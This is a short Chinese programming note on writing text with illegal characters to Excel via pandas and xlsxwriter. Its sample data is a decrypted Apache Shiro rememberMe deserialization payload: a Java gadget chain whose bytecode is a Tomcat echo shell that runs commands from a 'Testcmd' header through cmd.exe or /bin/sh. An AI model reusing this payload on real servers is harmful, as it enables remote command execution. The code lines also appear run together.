使用python写excel遇到非法字符,本来用的是openpyxl发现有报错,查了一下xlsxwriter可以自动处理非法字符,写起来更方便。
注意使用前安装xlsxwriter:
pip install xlsxwriter
import pandas as pddef write_to_xlsx(data, filename):# 表头headers = ["测试点", "文本"]df = pd.DataFrame(data, columns=headers)df.to_excel(filename, sheet_name="测试结果", index=False, engine='xlsxwriter')
text = """
这是一个shiro反序列化漏洞, 解密后的payload内容为:\n```\nrememberMe=¬ísrjava.util.HashMapÚÁÃ`ÑF\nloadFactorI thresholdxp?@wsr4org.apache.commons.collections.keyvalue.TiedMapEntryŠÒ›9ÁÛLkeytLjava/lang/Object;LmaptLjava/util/Map;xpsr:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl WOÁn¬«3I
_indentNumberI_transletIndexZ_useServicesMechanismL_auxClassest;Lcom/sun/org/apache/xalan/internal/xsltc/runtime/Hashtable;[\n_bytecodest[[B[_classt[Ljava/lang/Class;L_nametLjava/lang/String;L_outputPropertiestLjava/util/Properties;xpÿÿÿÿpur[[BKýggÛ7xpur[B¬óøTàxp|Êþº¾2ëFooIxp0on0KXjava/lang/Object\nSourceFileFooIxp0on0KX.java writeBody(Ljava/lang/Object;[B)V$org.apache.tomcat.util.buf.ByteChunk java/lang/ClassforName%(Ljava/lang/String;)Ljava/lang/Class;
\nnewInstance()Ljava/lang/Object;\nsetBytes[Bjava/lang/IntegerTYPELjava/lang/Class; getDeclaredMethod@(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method; \n!<init>(I)V#$\n%java/lang/reflect/Method'invoke9(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;)*\n(+getClass()Ljava/lang/Class;-.\n/doWrite1 getMethod3 \n4 java/lang/ClassNotFoundException6java.nio.ByteBuffer8wrap:java/lang/NoSuchMethodException<Code\nExceptionsjava/lang/Exception@
StackMapTablegetFV8(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;getDeclaredField-(Ljava/lang/String;)Ljava/lang/reflect/Field;EF\nGjava/lang/NoSuchFieldExceptionI
getSuperclassK.\nL(Ljava/lang/String;)V#N\nJO"java/lang/reflect/AccessibleObjectQ
setAccessible(Z)VST\nRUjava/lang/reflect/FieldWget&(Ljava/lang/Object;)Ljava/lang/Object;YZ\nX[java/lang/String]()V#_\n`java/lang/Threadb
currentThread()Ljava/lang/Thread;de\ncfgetThreadGroup()Ljava/lang/ThreadGroup;hi\ncjthreadslCD\nn[Ljava/lang/Thread;pgetName()Ljava/lang/String;rs\nctexecvcontains(Ljava/lang/CharSequence;)Zxy\n^zhttp|target~java/lang/Runnable€this$0‚handler„global†\nprocessorsˆjava/util/ListŠsize()IŒ‹Ž(I)Ljava/lang/Object;Y‹‘req“getResponse• getHeader—Testecho™isEmpty()Z›œ\n^ setStatusŸ addHeader¡Testcmd£os.name¥java/lang/System§getProperty&(Ljava/lang/String;)Ljava/lang/String;©ª\n¨«toLowerCases\n^®window°cmd.exe²/c´/bin/sh¶-c¸java/util/Scannerºjava/lang/ProcessBuilder¼([Ljava/lang/String;)V#¾\n½¿start()Ljava/lang/Process;ÁÂ\n½Ãjava/lang/ProcessÅgetInputStream()Ljava/io/InputStream;ÇÈ\nÆÉ(Ljava/io/InputStream;)V#Ë\n»Ì\AÎuseDelimiter'(Ljava/lang/String;)Ljava/util/Scanner;ÐÑ\n»ÒnextÔs\n»ÕgetBytes()[B×Ø\n^Ù\nÛ
getProperties()Ljava/util/Properties;ÝÞ\n¨ßjava/util/HashtableátoStringãs\nâä[Ljava/lang/String;æ@com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTransletè\né`!é\n>/ö\n¸N-¶M-½YSY²SY²S¶",½Y+SY»Y·&SY»Y+¾·&S¶,W*¶02½Y-S¶5*½Y,S¶,W§:9¸N-;½YS¶"-½Y+S¶,M*¶02½Y-S¶5*½Y,S¶,W§H:9¸N-;½YS¶"-½Y+S¶,M*¶02½Y-S¶5*½Y,S¶,W§±hk7h°=B÷k7÷D=ýD?A\nCD>~?M*¶0N§-+¶HM§§:-¶MN§-¦ÿç,¦»JY+·P¿,¶V,*¶\°\nJB%ý\nXÿ^XJ
?A#_>6?*·ê6¸g¶km¸oÀq:6¾¢2:¦§ ¶uN-w¶{š-}¶{š§î¸oL+Áš§Ü+ƒ¸o
¸o‡¸oL§:§Ã§+‰¸oÀ‹: 6\n\n ¹¢ž \n¹’:”¸oL+¶0–½¶5+½¶,M+¶0˜½Y^S¶5+½YšS¶,À^N-¥\n-¶ž™§X,¶0 ½Y²S¶5,½Y»YÈ·&S¶,W,¶0¢½Y^SY^S¶5,½YšSY-S¶,W6+¶0˜½Y^S¶5+½Y¤S¶,À^N-¥\n-¶ž™§,¶0 ½Y²S¶5,½Y»YÈ·&S¶,W¦¸¬¶¯±¶{™½^Y³SYµSY-S§½^Y·SY¹SY-S:,»»Y»½Y·À¶Ä¶Ê·Í϶ӶֶڸÜ6-¥\n-¶ž™š§,¸à¶å¶Ú¸Ü™§ „\n§þ\™§ „§ýß±_psABÝÿqücÿ^qcÿ^qcSAÿ^qcþ
‹ÿc^qc‹ûT.ûMQç)ÿ^qc‹ÿqcú?Aptabcsrjava.util.Properties9Ðzp6>˜Ldefaultsq~xrjava.util.Hashtable»%!Jä¸F\nloadFactorI thresholdxp?@wxpwxsr*org.apache.commons.collections.map.LazyMapn唂žy”Lfactoryt,Lorg/apache/commons/collections/Transformer;xpsr:org.apache.commons.collections.functors.InvokerTransformer‡èÿk{|Î8[iArgst[Ljava/lang/Object;LiMethodNameq~\n[iParamTypesq~ xpur[Ljava.lang.Object;ÎXŸs)lxptnewTransformerur[Ljava.lang.Class;«×®ËÍZ™xpsq~?@wxxttxØÏʼ÷Ð\n```\n
"""data=[["shiro",text]]
write_to_xlsx(data,"res.xlsx")